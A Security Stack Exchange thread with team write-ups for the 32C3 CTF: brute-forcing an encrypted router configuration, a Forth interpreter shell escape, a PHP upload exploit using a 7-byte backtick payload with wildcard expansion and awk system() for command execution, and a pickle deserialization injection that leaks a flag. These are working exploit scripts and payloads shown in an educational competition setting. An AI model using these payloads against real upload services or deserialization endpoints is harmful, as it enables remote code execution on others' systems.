32C3 CTF will begin on 27 December 2015 20:00 UTC and ends on 29 december 2015 20:00 UTC.

It's been a while since we participated. Let's play again as team Sec.SE.

As usual, the team communicates through the CTF team chatroom.

  • 2
    I know i am a bit late and don't have the required 400+ rep yet (341 atm), but it would be awesome if i could participate in this ctf team. I did some CTF with different groups and was active on different challenge sites/warboxes (wechall, smashthestack,...). I tried to reach someone in freenode but the channel seem to be dead. I am already member of secse on ctftime BTW. Commented Dec 27, 2015 at 21:27

2 Answers 2


32C3 CTF 2015 : config.bin

Category: Forensics Points: 150

We have obtained what we believe is a configuration backup of an embedded device. However, it seems to be encrypted. Maybe you can help us with decryption?



After a quick hexdump we might realize that the first 4 bytes are looking pretty much like a magic header.

hexdump -C config.bin | head
00000000  43 46 47 31 00 00 32 d0  ef 92 7a b0 5a b6 d8 0d  |CFG1..2...z.Z...|
00000010  30 30 30 30 30 30 00 00  00 05 00 03 00 00 00 00  |000000..........|

After searching for "CFG1" with the search engine of our choice, we might find this blog entry. This tells us it might be a firmware image of some router (or at least something which looks like it).
There is a windows tool on that website to decrypt the firmware images, lets see if it works for us:

decrypting config.bin...
reading config.bin... 13056 bytes read.
parsing header... ok.
setting crypto key... ok.
decrypting... MD5 of plaintext invalid.

Hmm, nope. That looks like it might be in deed the right algorithm, but something is wrong (maybe the password).
Well, that would have been too easy otherwise.
So lets try if we can parse the file header with the information provided in that block entry. As a a python ctypes Structure the header looks like this:

class Header(ctypes.BigEndianStructure):
    _fields_ = [
                ("magic", ctypes.ARRAY(ctypes.c_char, 4)),
                ("payload_size", ctypes.c_uint32),
                ("header_md5", ctypes.ARRAY(ctypes.c_ubyte, 8)),
                ("etl", ctypes.ARRAY(ctypes.c_uint8, 7)), # always zero
                ("unused_1", ctypes.c_char),
                ("password_len", ctypes.c_uint16),
                ("padding_len", ctypes.c_uint16),
                ("unused_2", ctypes.ARRAY(ctypes.c_ubyte, 4)),
                ("plaintext_md5", ctypes.ARRAY(ctypes.c_ubyte, 16))

The header contains a field for the first 8 bytes of a md5 over the header. After testing if it is correct, we can be pretty sure the header structure is right.
So, chances are good we need to find the correct password.
~~Stupidly~~Luckily the length of the password is saved in the header and an MD5 sum over the plaintext, too (The password is of 5 chars length). According to the linked blog post the plaintext is encrypted with AES256 in ECB mode. That sounds reasonable enough to bruteforce it.
... But it is way to slow. The decryption of the whole cryptext needs way to long (~13kb after all).
With ~8k tries per second we'll never find the password.

Maybe we find some other way to verify the password.
After some searching we might find out that the plaintext of the images in this format always seem to be gzip compressed.
This is awesome, as the gzip format has a 3 byte (2 byte in theory, 3 in fact) magic header.
So we only need to decrypt the first block with AES and verify the first 3 bytes (With additionally md5 verification IF the magic header was found).
This gives us about 280k try per second. Not really fast, but it might be fast enough for a password with 5 chars.
Finally we can start bruteforcing. After some (more) time we find our password and are able to decrypt the file.
It is an tar.gz archive containing two files. Digging through them we find a line like this (password changed):


After removing that evil /n in there we are able to base64 decode it and get the password. YAY

The tool i wrote to crack and decrypt the firmware now makes about 1000000 check per second on my system and is linked in Other write-ups and resources

Other write-ups and resources


pwn — forth

A quick warm-up. We're told to connect and get a shell. There's a Forth interpreter at that address.

$ nc 1024
yForth? v0.2  Copyright (C) 2012  Luca Padovani
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions; see LICENSE for details.
s" sh" system
sh: 0: can't access tty; job control turned off
$ ls
flag.txt  README.gpl  run.sh  yforth
$ cat flag.txt
$ exit

web — TinyHosting

We can upload files with the name of our choice and a content of up to 7 bytes, and we can then browse that file at a given URL of the form /files/HASH/CHOSEN_NAME to get the content, where HASH is independent of the name (it's actually SHA-1(IP address + user agent)).

HamZa did the hard work of finding that using <?=`?`; as the content for a file with the extension .php would execute ? as an external command, where ? could be most any character. For example <?=`w`; shows the server's load average and other information.

There's not much you can do with a one-character command, but fortunately there's another loophole: wildcards are expanded before the command is executed. So we can use <?=`*`;, which expands to the list of file names in the current directory, which is the upload directory; this will execute the first file name in lexicographic order.

The upload directory contains at least the PHP file and index.html, so we need to arrange that the PHP script is at the end of the alphabet and to run a command that comes before index.html. We can even pass it arguments, as long as the command comes first, then the arguments in alphabetical order, with index.html and the PHP file in there somewhere. A nice lexicographically early command is awk, which has a shell escape (the system function). Hence this injection script:

encode () {
  printf '%s\n' "$1" | sed -e 's/%/%25/g' \
                       -e 's/ /%20/g' \
                       -e 's/!/%21/g' \
                       -e 's/#/%23/g' \
                       -e 's/\$/%24/g' \
                       -e 's/&/%26/g' \
                       -e 's/'\''/%27/g' \
                       -e 's/(/%28/g' \
                       -e 's/)/%29/g' \
                       -e 's/\*/%2a/g' \
                       -e 's/\+/%2b/g' \
                       -e 's/\,/%2c/g' \
                       -e 's/\//%2f/g' \
                       -e 's/:/%3a/g' \
                       -e 's/;/%3b/g' \
                       -e 's/=/%3d/g' \
                       -e 's/?/%3f/g' \
                       -e 's/@/%40/g' \
                       -e 's/\[/%5b/g'
quote () {
  printf '%s\n' "$1" | sed -e 's/[\\"]/\\&/g' -e 's/\//\\057/g'
post () {
  html=$(wget --content-on-error -q -O - --user-agent="$user_agent" --post-data="filename=$(encode "$1")&content=$(encode "$2")"
  if [ $? -ne 0 ]; then
    echo "$1 $2 => FAIL"
    echo "$html"
    exit 2
  elif [ -z "$php_location" ]; then
    php_location="${html#*"File saved to <a>"}"
post 'zstar.php' '<?=`*`;'
post 'awk' 'dummy1'
post 'b{000000}BEGIN{system("'"$(quote "$1")"'");exit}' 'dummy2'
wget -q -O - "$php_location"

Running ./upload 'ls /' shows that there's a file called /file_you_want, and ./upload 'cat /file_you_want' gives the flag.

misc — gurke

We have to submit input to a Python script. This script has the flag in a variable flag.flag. The input vector is a string that's passed to pickle.loads and printed out. There's a twist: we don't get to see the printout, but we do get to see a printout of any exception caused by the unpickling.

data = os.read(0, 4096)
    res = pickle.loads(data)
    print 'res: %r\n' % res
except Exception as e:
    print >>sys.stderr, "exception", repr(e)

So we need to find a pickled input that will cause an exception that displays the flag. The Python script loads a bunch of modules and sets up a sandbox environment that won't let it load other modules, but that turns out to be a bit of a red herring as I only needed __builtin__ in the end.

After playing around in the interactive interpreter and looking at the source of pickle.py to understand the pickle format, I found that you could pass arbitrary function calls.

wget -q -O - --post-data=$'c__builtin__\ngetattr\n(S\'foo\'\nc__builtin__\ngetattr\n(c__main__\nflag\nS\'flag\'\ntRtR.'
2: exception AttributeError("'str' object has no attribute '32c3_rooDahPaeR3JaibahYeigoong'",)
retval: 0

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .